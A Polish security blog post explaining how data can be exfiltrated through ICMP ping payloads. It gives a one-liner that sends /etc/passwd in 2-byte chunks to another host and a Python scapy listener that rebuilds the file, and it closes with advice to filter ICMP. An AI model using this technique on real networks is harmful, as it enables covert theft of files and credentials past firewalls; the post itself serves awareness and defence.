NFsec Logo

Wyciek danych poprzez ping

06/12/2015 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 492, ilość słów: 699)

Dostanie się do chronionej sieci, a pobranie z niej danych bez bycia zauważonym to dwie różne techniki pokonywania zabezpieczeń. Tylko dlatego, że ofiara skusiła się na kliknięcie spreparowanego linku z szkodliwym oprogramowaniem nie znaczy, że agresor właśnie otrzymał otwartą furtkę, aby przejść przez firewall lub IDS z danymi na których mu zależy. Chyba, że użyje do tego prostego programu ping?

Ping jest najczęściej używanym narzędziem do diagnostyki łączności w sieciach LAN i WAN. Występuje jako standardowy pakiet w systemach Windows oraz *nix w dodatku nie wymaga praw administratora, aby zostać uruchomionym przez zwykłego użytkownika oraz pozwala poprzez parametr ‘-p‘ na dodanie 16 bajtów dodatkowego bloku danych. Jeśli połączyć to z ‘-c‘ (liczbą przesyłanych żądań ICMP ECHO_REQUEST) oraz ‘-t‘ (określenie czasu wygaśnięcia żądania przez wyjściem programu) okazuje się, że za pomocą tego prostego programu możemy spreparować oraz wysłać przez filtrowaną sieć pakiet z dowolnymi 16 bajtami danych. Ponieważ większość sieci pozwala na wysyłanie żądań odpowiedzi z programu ping (rzadko na odpowiedzi na nie) – atakujący może bez problemu użyć tego programu do eksfiltracji danych z sieci:

cat /etc/passwd | xxd -p -c 2 | xargs -n 1 -I '{}' ping -c 1 -t 1 -p '{}' 192.168.1.2; 
ping -c 1 -t 1 -s 55 192.168.1.2

Potrzebne jest jeszcze narzędzie, które poskłada przesyłane dane z powrotem w całość:

#!/usr/bin/env python
#
# Copyright (C) SafeBreach, Inc.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#

import sys
import argparse
import scapy.all

config = None


def write_or_stop(pkt):
    global config

    # Is it signal pkt or data pkt?
    if pkt[scapy.all.IP].len == 83:
        # Signal pkt, stop!
        config.output_file.flush()
        config.output_file.close()
        return True

    # Data pkt, next ...
    payload = pkt.lastlayer().load
    config.output_file.write(payload[8:8 + config.chunk_size])
    return False


def main(argv):
    global config

    parser = argparse.ArgumentParser(description='Reassemble FILE from ICMP ECHO REQUESTs')
    parser.add_argument('-s', '--chunk-size', metavar='SIZE', type=int, default=2,
                        help='How many bytes are exfiltrated in a single ECHO_REQUEST pkt')
    parser.add_argument('-o', '--output-file', nargs='?', type=argparse.FileType('w+'),
                        default=sys.stdout)
    config = parser.parse_args(argv)

    scapy.all.sniff(filter="icmp[icmptype] == 8", stop_filter=write_or_stop, store=0)


if __name__ == "__main__":
    sys.exit(main(sys.argv[1:]))

Jak to dokładnie działa? Jednolinijkowiec używa narzędzia cat do wczytania docelowego pliku i wypisuje jego zawartość na standardowe wyjście potokując dane do programu xxd, który zamienia je w format heksadecymalny (2 bajty per linia). Następnie xargs przekazuje te dwa bajty w formacie hex do bloku dodatkowych danych programu ping. Na samym końcu po przetworzeniu całego pliku następuje jeszcze jedno polecenie ping z rozmiarem pakietu 55 bajtów (standardowo jest to 56, zanim zostanie dodane ekstra 8 bajtów nagłówka ICMP dając finalnie 64 bajty).

Powyższy skrypt napisany w języku python używa scapy to implementacji sniffera, który przechwytuje komunikaty ICMP ECHO_REQUEST i dla każdego pakietu wyciąga X (standardowo 2) bajty z dodatkowego bloku danych i zapisuje je do pliku. Wyjątkiem jest kiedy skrypt otrzyma pakiet o rozmiarze 55 bajtów (83 = 55 bajtów danych + 8 bajtów nagłówka ICMP + 20 bajtów nagłówka IPv4). Wówczas następuje wyczyszczenie buforów, zamknięcie pliku oraz wyjście.

Jest to kolejny dowód, aby przeprowadzać dokładną filtrację z pozoru niewinnych komunikatów diagnostycznych, które mogą posłużyć do zupełnie innych celów niż zostały stworzone. Nie wspominając już o zdejmowaniu suidów z programu ping…

Więcej informacji: I See Your True ECHO_REQUEST, udptunnel, icmptunnel

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , ,

Komentowanie tego wpisu jest zablokowane.